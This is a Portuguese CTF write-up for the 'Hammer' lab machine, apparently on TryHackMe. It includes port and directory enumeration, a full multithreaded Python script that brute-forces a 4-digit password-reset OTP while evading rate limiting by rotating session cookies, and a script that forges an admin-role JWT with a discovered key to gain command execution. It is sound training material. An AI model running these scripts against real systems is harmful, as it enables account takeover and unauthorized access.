Post

Hammer

Hammer

Introdução

Este CTF faz parte da trilha Web Application Pentesting. Nele, são praticados conceitos de gerenciamento de sessão, autenticação de dois fatores (2FA), força bruta, scripting e JSON Web Tokens (JWT).

Inicialmente, realizamos o reconhecimento da aplicação, suas portas e serviços. Em seguida, passamos para a enumeração da aplicação, analisando como ela se comporta no processo de recuperação de senha. Concluímos com a análise do JWT e a exposição de informações sensíveis.

O CTF se encontra neste link.

Reconhecimento

Executamos um SYN SCAN no alvo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sS --open 10.10.19.190            
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 15:59 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.32s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 4.31 seconds


┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sS --open -p- 10.10.19.190
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:00 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.33s latency).
Not shown: 65471 closed tcp ports (reset), 62 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
1337/tcp open  waste


┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sV -p 22,1337 10.10.19.190 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:04 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.35s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.03 seconds

Há um serviço web sendo executado na porta 1337.

home page

Realizamos uma enumeração dos diretórios disponíveis.
Encontramos três diretórios: javascript, vendor e phpmyadmin.

recon_gobuster

Analisando os diretórios, descobrimos no diretório vendor uma biblioteca, que realiza o decode e encode do JSON Web Token (JWT) a biblioteca utilizada é:firebase versão 6.10.0.

Quando verificamos o código fonte, da página inicial, identificamos uma anotação do desenvolvedor.

1
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->

Vamos realizar novamente uma enumeração em busca de diretórios, agora com a string hmr_ incluída.

1
2
┌──(root㉿estudos)-[/home/alex]
└─# ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.19.190:1337/hmr_FUZZ -fs 276

recon_ffuf

No diretório hmr_imagestemos uma imagem, verificado os metadados, não identificamos nenhuma informação relevante.

exiftool

Os diretórios hmr_csse hmr_js, temos apenas arquivos que realizam a manipulação das páginas HTML do site.

No diretório hmr_logs temos logs de tentativa de acesso.

hmr_logs

Os diretórios informados no log foram verificados, não estão disponíveis para acesso até o momento. Com o e-mail tester@hammer.thm tentamos recuperar a senha, é enviado um token de 4 dígitos.

recovery_code

Temos uma contagem regressiva de 180 segundos, para informar o código OTP. Além disso, existe um controle contra brute force, após algumas tentativas a aplicação nos bloqueia.

rate_limit

Se alterarmos o nosso cookie, podemos reiniciar o processo de recuperação de senha. Precisamos informar o e-mail novamente. Após informar o e-mail, podemos inserir o código OTP mais uma vez.

Exploração

Primeiro, vamos criar nossa wordlist com 4 dígitos, que inicia em 0000 até 9999. Para essa tarefa utilizaremos o crunch.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿estudos)-[/home/alex/Desktop]
└─# crunch 4 4 -o otp.txt -t %%%%
Crunch will now generate the following amount of data: 50000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000 

crunch: 100% completed generating output

Temos 9999 números para serem testados, se cada número demorar 1 segundo para ser testado, ficaríamos mais de 2 horas realizando o ataque de brute force. Para diminuir esse tempo, vamos dividir por 10, nosso programa irá executar 10 processos em paralelo.

O fluxo do programa será da seguinte maneira:

  1. Ler os códigos OTP:
    • Abrir o arquivo com os códigos de recuperação e armazená-los em uma lista.
  2. Dividir a lista de OTPs:
    • Dividir a lista de OTPs em 10 partes, uma para cada thread.
  3. Executar threads:
    • Utilizar ThreadPoolExecutor para criar 10 threads.
  4. Enviar a requisição inicial:
    • Cada thread gera um cookie aleatório e envia a requisição inicial com o e-mail.
  5. Processar os códigos OTP:
    • Cada thread processa sua parte da lista de OTPs, enviando requisições POST com o código de recuperação.
  6. Verificar resposta da página:
    • Para cada requisição:
      • Se a resposta contiver “Invalid or expired recovery code!”, continuar com o próximo código da lista.
      • Se a resposta contiver “Rate limit exceeded. Please try again later.”, gerar um novo cookie e tentar novamente.
      • Se a resposta não contiver nenhuma dessas mensagens, considerar o código como válido.
  7. Encerrar threads:
    • Quando um código válido for encontrado, todas as threads são interrompidas.
    • Exibir o código válido encontrado, o cabeçalho recebido e o cookie utilizado.

O código foi desenvolvido em python 3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import random
import string
import time
import requests
from concurrent.futures import ThreadPoolExecutor
from threading import Event

# URL de recuperação de senha
url_reset_password = 'http://hammer.thm:1337/reset_password.php'

# Evento para sinalizar que o código correto foi encontrado
codigo_valido_encontrado = Event()

# Função para gerar um cookie aleatório
def gerar_cookie_aleatorio(tamanho=27):
    caracteres = string.ascii_letters + string.digits
    return ''.join(random.choice(caracteres) for _ in range(tamanho))

# Função para enviar a requisição inicial
def enviar_primeiro_cabecalho():
    headers_primeiro = {
        'Host': 'hammer.thm:1337',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '25',
        'Origin': 'http://hammer.thm:1337',
        'Connection': 'keep-alive',
        'Referer': 'http://hammer.thm:1337/reset_password.php',
        'Cookie': f'PHPSESSID={gerar_cookie_aleatorio()}',
        'Upgrade-Insecure-Requests': '1',
        'Priority': 'u=0, i'
    }
    data_primeiro = {'email': 'tester@hammer.thm'}
    response = requests.post(url_reset_password, headers=headers_primeiro, data=data_primeiro)
    print(f'Primeiro cabeçalho enviado. Status: {response.status_code}')
    return headers_primeiro['Cookie']

# Função para enviar a requisição com o código de recuperação
def enviar_segundo_cabecalho(cookie, recovery_code):
    if codigo_valido_encontrado.is_set():
        return

    headers_segundo = {
        'Host': 'hammer.thm:1337',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '24',
        'Origin': 'http://hammer.thm:1337',
        'Connection': 'keep-alive',
        'Referer': 'http://hammer.thm:1337/reset_password.php',
        'Cookie': cookie,
        'Upgrade-Insecure-Requests': '1',
        'Priority': 'u=0, i'
    }
    data_segundo = {'recovery_code': recovery_code, 's': '180'}
    response = requests.post(url_reset_password, headers=headers_segundo, data=data_segundo)

    # Verifica a resposta da página
    if "Invalid or expired recovery code!" in response.text:
        print(f'Código OTP utilizado: {recovery_code} - Status: {response.status_code} - Código Inválido')
    elif "Rate limit exceeded. Please try again later." in response.text:
        print(f'Rate limit exceeded com código: {recovery_code} - Status: {response.status_code}')
        return 'rate_limit'
    else:
        print(f'Código OTP utilizado: {recovery_code} - Status: {response.status_code} - Código Válido')
        print(f'Cabeçalho recebido: {response.headers}')
        print(f'Cookie: {cookie}')
        codigo_valido_encontrado.set()
        return True

    return False

# Função principal
def main():
    # Arquivo com os códigos de recuperação
    arquivo_codigos = 'otp.txt'

    # Lê os códigos do arquivo
    with open(arquivo_codigos, 'r') as file:
        codigos = [linha.strip() for linha in file.readlines()]

    # Divide a lista de OTPs em 10 partes
    num_threads = 10
    chunk_size = len(codigos) // num_threads
    chunks = [codigos[i:i + chunk_size] for i in range(0, len(codigos), chunk_size)]

    def processar_codigo(chunk):
        cookie = enviar_primeiro_cabecalho()
        for codigo in chunk:
            if codigo_valido_encontrado.is_set():
                break
            resultado = enviar_segundo_cabecalho(cookie, codigo)
            if resultado == 'rate_limit':
                cookie = enviar_primeiro_cabecalho()
                resultado = enviar_segundo_cabecalho(cookie, codigo)
            if resultado is True:
                break

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        futures = [executor.submit(processar_codigo, chunk) for chunk in chunks]

        for future in futures:
            future.result()
            if codigo_valido_encontrado.is_set():
                break

if __name__ == '__main__':
    main()

Brute Force - 2FA

Executando nosso script encontramos um código OTP válido.

code_otp_valid

Com um código válido conseguimos trocar a senha do usuário.

reset_password

Conseguimos acessar a dashboard e obter nossa primeira flag!

dasboard

JWT

Depois de alguns segundos é feito o logout automático da dashboard, é necessário inserir novamente as credenciais para acessa-lá. Vamos encaminhar para Burp Suite a solicitação, para entender melhor o que está ocorrendo.

Primeiro é feito uma requisição POST.

post_index

Depois realizamos um GETem /dasboard.php.

get_dashboard

O cookie recebido possui um JWT. O JWT possui um tempo de duração de 1 hora, após isso, ele é expirado e é necessário solicitar um novo token.

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.yJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzM5MzgzNDI0LCJleHAiOjE3MzkzODcwMjQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.DloVp56EIpRxUunIspBJ9BGQvwuW40vog0L_qso0fiY

Conteúdo do JWT, verificamos pelo https://jwt.io/.

decode_jwt

Quando executamos um comando em “Enter command” a página solicitada é execute_command.php. Vamos envia-la para o Burp Suite.

execute_command

Mesmo após o logout automático, ainda conseguimos enviar os comandos, o JWT que temos nos campos Authorizatione Cookie permite que nossa solicitação seja processada com sucesso e o token ainda não está com o tempo expirado.

Verificamos o comportamento da aplicação, com o comando que enviamos, com o comando lsconseguimos listar os arquivos no diretório atual, além dos arquivos e diretórios que já sabíamos, também identificamos outro arquivo 188ade1.key.

file_discover

Baixamos o arquivo descoberto para a nossa máquina local.
Analisando o arquivo percebemos que pode se tratar de uma chave, para gerar JWT válido na aplicação.

1
2
3
4
5
6
7
┌──(alex㉿estudos)-[~/Downloads]
└─$ file 188ade1.key
188ade1.key: ASCII text, with no line terminators
                                
┌──(alex㉿estudos)-[~/Downloads]
└─$ cat 188ade1.key
[REDACTED]

Apenas o comando lssem nenhuma opção, está sendo permitido executar.
Tentamos executar outros comandos do Linux porém recebemos a mensagem Command not allowed.
Nosso usuário possui no JWT role:user, aparentemente, por esse motivo não conseguimos executar outros comandos, não temos a permissão necessária.

Criando nosso JWT

Como vimos no decode do JWT temos o campo role, podemos utiliza-lo, alterando para admin, utilizando a chave que encontramos em /var/www/html/.Para isso precisamos criar nosso JWT, vamos utilizar o python para essa tarefa.
Programa desenvolvido para criar nosso token.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import jwt
import datetime

# Definindo o header
header = {
    "typ": "JWT",
    "alg": "HS256",
    "kid": "/var/www/html/188ade1.key"
}

# Definindo o payload
payload = {
    "iss": "http://hammer.thm",
    "aud": "http://hammer.thm",
    "iat": 1739395993,
    "exp": 4070726400,
    "data": {
        "user_id": 1,
        "email": "tester@hammer.thm",
        "role": "admin"
    }
}

# Chave secreta
secret_key = 'key-256-bit-secret'

# Gerando o token JWT
token = jwt.encode(payload, secret_key, algorithm='HS256', headers=header)

# Exibindo o token
print(token)

Criando nosso JWT com role:admin.

craft_jwt

Validamos nosso JWT no site https://jwt.io/.
Observação, podemos gerar nosso JWT pelo site também.

jwt_own

Agora no Burp realizamos uma nova requisição com o nosso novo JWT.

role_admin_command

Temos permissão para executar outros comandos, o CTF já informa o caminho da última flag, vamos tentar ler o arquivo, antes de realizar uma shell reversa.

flag2

Resumo

Enumeramos as portas, e identificamos as portas 22 e 1337, com a porta 1337 rodando um serviço web. Nesse servidor web, descobrimos diretórios e arquivos importantes, encontrando um e-mail válido (tester@hammer.thm). A partir desse e-mail, iniciamos a análise do comportamento de recuperação de senha. Entendido o comportamento de recuperação de senha e o 2FA, desenvolvemos um script de brute force, conseguindo assim o código OTP válido. Após a alteração de senha e autenticados na dashboard da aplicação, realizamos uma nova enumeração e identificamos que a aplicação gerava um JWT, utilizado para validar quais comandos o usuário poderia executar (role). Com a descoberta da chave no diretório (/var/www/html/), geramos um novo JWT com o campo role alterado, obtendo assim um RCE e concluindo o CTF com a descoberta da última flag.

Complemento

Nessa seção, foram colocadas algumas informações que julguei necessárias e importantes, após concluir o CTF, para complementar esse Write-Up. As informações descobertas foram feitas em outras análises minhas, e com ajuda de outros Write-Ups disponíveis na internet.

Função para realizar o logout automaticamente

É realizado o logout automaticamente da dashboard após alguns segundos, a função que realiza esse logout se encontra no código fonte da página.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        function getCookie(name) {
            const value = `; ${document.cookie}`;
            const parts = value.split(`; ${name}=`);
            if (parts.length === 2) return parts.pop().split(';').shift();
        }

      
        function checkTrailUserCookie() {
            const trailUser = getCookie('persistentSession');
            if (!trailUser) {
          
                window.location.href = 'logout.php';
            }
        }

Função checkTrailUserCookie():

  • Essa função chama a função getCookie('persistentSession') para verificar se o cookie persistentSession está presente.
  • Se o cookie persistentSession não estiver presente (ou seja, trailUser é null ou undefined), a função redireciona o usuário para a página logout.php.

No nosso caso está como no, se for definida como truemantemos nossa sessão aberta sem logout automáticos

Controle contra Brute Force

Quando iniciamos o processo de recuperação de senha é solicitado nosso cótido OTP, iniciamos com 8 tentativas, até sermos bloqueado pela aplicação.

O campo que controla a quantidade é Rate-Limit-Pending.

limit_rate

OTP gerado

Em alguns momentos, ao executar o script, foi descoberto mais de um código OTP válido. Após realizar outra análise do comportamento da aplicação e ler alguns write-ups a respeito, ficou mais claro que o código OTP gerado não é válido somente na sessão em que foi solicitado, mas sim para o e-mail que está solicitando (tester@hammer.thm). Portanto, quando realizávamos uma nova requisição de recuperação de senha com um novo cookie, o código OTP gerado nos outros processos em paralelo não era descartado, podendo assim ser válido para recuperação de senha. O código só se tornaria inválido após o tempo de expiração ser excedido, que é de 1 hora.

otp_multiple

Esta postagem está licenciada sob CC BY 4.0 pelo autor.